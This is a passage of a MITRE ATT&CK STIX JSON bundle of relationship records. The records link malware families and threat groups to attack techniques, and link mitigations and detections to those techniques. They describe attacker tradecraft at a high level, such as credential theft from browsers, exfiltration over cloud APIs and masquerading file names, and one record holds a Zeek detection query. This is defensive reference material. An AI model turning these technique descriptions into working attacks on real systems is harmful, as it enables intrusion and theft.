"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f780f9d8-1baa-41b7-b7a1-acba717df0ab", "created": "2019-10-14T16:25:38.695Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-02T12:23:09.921Z", "description": "Train users to identify aspects of phishing attempts where they're asked to enter credentials into a site that has the incorrect domain for the application they are logging into. Additionally, train users not to run untrusted JavaScript in their browser, such as by copying and pasting code or dragging and dropping bookmarklets.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f783c5c8-0620-4fb0-9e8f-55df960cf41c", "created": "2022-03-30T14:26:51.842Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal SSL/TLS certificates that can be used during targeting. Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "modified": "2022-04-20T02:47:19.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f78542d4-3e7b-4a73-a47e-1fc0a15fbe24", "type": "relationship", "created": "2020-12-09T21:03:46.482Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}], "modified": "2020-12-22T21:35:02.033Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) can exfiltrate data over the primary C2 channel (Dropbox HTTP API).(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f785ff3b-923c-478e-a194-c13c6bdbf071", "created": "2024-01-04T21:40:52.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-05T20:57:54.372Z", "description": "[Samurai](https://attack.mitre.org/software/S1099) can encrypt the names of requested APIs and deliver its final payload as a compressed, encrypted and base64 encoded blob.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f7873bae-95b2-4463-808f-8f9d5c9deb8e", "created": "2022-07-29T19:51:00.557Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET RTM Feb 2017", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T23:29:31.390Z", "description": "[RTM](https://attack.mitre.org/software/S0148) has the ability to remove Registry entries that it created for persistence.(Citation: ESET RTM Feb 2017)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f78a5009-59ec-4ae2-89a0-44b8be49a140", "type": "relationship", "created": "2020-06-22T19:08:12.265Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-06-22T19:08:12.265Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has inserted malicious macros into existing documents, providing persistence when they are reopened. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has loaded the group's previously delivered VBA project by relaunching Microsoft Outlook with the <code>/altvba</code> option, once the Application.Startup event is received.(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f78a77ca-2a03-4a1f-8404-9adf1e504d48", "type": "relationship", "created": "2021-06-30T16:13:40.599Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-08-19T21:57:15.956Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) can steal login credentials and stored financial information from the browser.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f78b6600-c123-4b9e-8728-c2a2fcd5c1d8", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:44:24.673Z", "description": "Monitor network data for uncommon data flows that may be related to abuse of [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as RDP, telnet, SSH, and VNC.\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network service protocols such as SSH and RDP. #Protocol 6 = TCP #Protocol 17 = UDP\n\nAnalytic 1 - Suspicious Protocols\n<code>source=\"*Zeek:*\" AND (port=\"636\" AND protocol=\"6\") OR (port=\"389\" AND protocol=\"17\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f78baa1d-e84a-4f32-a1a4-67972bdd94ea", "created": "2022-04-01T02:15:49.913Z", "x_mitre_version": "1.0", "x_mitre_deprecated": false, "revoked": false, "description": "Train users to only accept 2FA/MFA requests from login attempts they initiated, to review source location of the login attempt prompting the 2FA/MFA requests, and to report suspicious/unsolicited prompts.", "modified": "2022-04-15T21:12:24.600Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f78eb569-6e16-4103-bc17-265f2d1b1bb2", "type": "relationship", "created": "2021-04-13T12:52:16.407Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-04-13T12:52:16.407Z", "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) can display the /etc/passwd file on a compromised host.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f79947b2-49bc-4658-b93c-3aa9dbf9cd5e", "type": "relationship", "created": "2020-06-15T20:49:55.573Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Dyreza November 2015", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}], "modified": "2020-06-15T20:49:55.573Z", "description": "[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify running services on a compromised host.(Citation: Malwarebytes Dyreza November 2015)", "relationship_type": "uses", "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f79c163a-25c0-4694-b1ca-50ab1eda8651", "type": "relationship", "created": "2020-05-21T14:55:00.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.229Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081)'s backdoor could list the infected system's installed software.(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f7a11ad8-80ac-4b0e-8749-102958f57f62", "type": "relationship", "created": "2020-10-19T19:53:10.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-19T19:53:10.862Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d", "target_ref": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f7a49aed-41f9-4fff-b7d5-28cd83671aff", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "Monitor for unexpected deletions of user accounts. Windows event logs may designate activity associated with an adversary's attempt to remove an account (ex: Event ID 4726 - A user account was deleted).\r\n\r\nAlerting on these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", "source_ref": "x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91", "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f7a4bc28-8f50-4e9e-9986-b71f21528967", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. 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Retrieved November 30, 2020."}, {"source_name": "Trend Micro Cyclops Blink March 2022", "url": "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html", "description": "Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. 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Retrieved September 10, 2020."}], "modified": "2020-10-01T13:33:13.640Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can support windows execution via SMB shares.(Citation: Medium Anchor DNS July 2020)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f7ed42df-01c4-4441-95ce-68228e157abf", "type": "relationship", "created": "2022-03-22T16:06:14.344Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. 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Retrieved March 18, 2022."}], "modified": "2022-03-22T16:06:14.344Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used compromised credentials to sign into victims\u2019 Microsoft 365 accounts.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f7f1c7c3-192b-4675-815d-0a61b3e3a206", "type": "relationship", "created": "2020-06-11T16:28:58.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots July 2017", "url": "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/", "description": "Cherepanov, A.. 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(2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}], "modified": "2020-05-26T16:17:59.411Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106)'s miner connects to a C2 server using port 51640.(Citation: Anomali Rocke March 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f7fee577-ea37-4d2b-9353-8bfada984f55", "type": "relationship", "created": "2021-09-21T15:16:40.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). 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Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Monitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system. 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Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}, {"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:09.824Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing email links attempting to get a user to click.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f81b567d-9fd3-44f4-bd6b-9ba6f386609e", "type": "relationship", "created": "2020-05-15T15:04:34.561Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-27T23:28:38.346Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) has registered two registry keys for shim databases.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f81df2c8-1edd-4734-a1c9-cca6e4c56607", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Kasidet", "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}], "modified": "2020-03-28T00:58:34.578Z", "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to change firewall settings to allow a plug-in to be downloaded.(Citation: Zscaler Kasidet)", "relationship_type": "uses", "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f823cffe-1f48-499e-a7b9-58f12e0b95b4", "type": "relationship", "created": "2020-03-09T13:00:19.485Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-09T13:00:19.485Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f82724f9-846b-442e-826c-a38a74a93737", "type": "relationship", "created": "2019-02-12T19:00:34.566Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET", "source_name": "TrendMicro DarkComet Sept 2014"}], "modified": "2020-03-17T23:43:37.865Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as a legitimate file.(Citation: TrendMicro DarkComet Sept 2014)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f83167c8-b964-44d2-b370-5f5e86460568", "type": "relationship", "created": "2020-07-15T20:23:36.324Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trusteer Carberp October 2010", "url": "https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf", "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."}], "modified": "2020-08-03T15:17:31.821Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has collected a list of running processes.(Citation: Trusteer Carberp October 2010)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f832e042-6859-4415-9b6c-4e093dc955ec", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", "source_name": "FireEye APT19"}], "modified": "2020-06-20T22:48:29.688Z", "description": "[APT19](https://attack.mitre.org/groups/G0073) used Regsvr32 to bypass application control techniques.(Citation: FireEye APT19)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8340d49-ee7a-4ade-988f-3660904a18bb", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Darkmoon Aug 2005", "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}], "modified": "2020-03-16T16:57:13.442Z", "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) starts a rootkit from a malicious file dropped to disk.(Citation: Symantec Darkmoon Aug 2005)", "relationship_type": "uses", "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f8372a2e-6db4-4353-9635-b1fcac9f90ed", "created": "2020-11-06T18:02:10.602Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a macOS Python implant to gather data as well as MailFetcher.py code to automatically collect email data.(Citation: CISA AA20-301A Kimsuky)(Citation: KISA Operation Muzabi)", "modified": "2022-04-19T01:03:03.593Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f837c70e-984e-4681-ab3a-0ad4ad1a512f", "type": "relationship", "created": "2021-11-29T19:16:55.963Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T19:16:55.963Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can create a service to establish persistence.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f83d3cd6-f54d-4016-874f-eb638c193402", "created": "2022-06-09T15:02:38.980Z", "x_mitre_version": "0.1", "external_references": 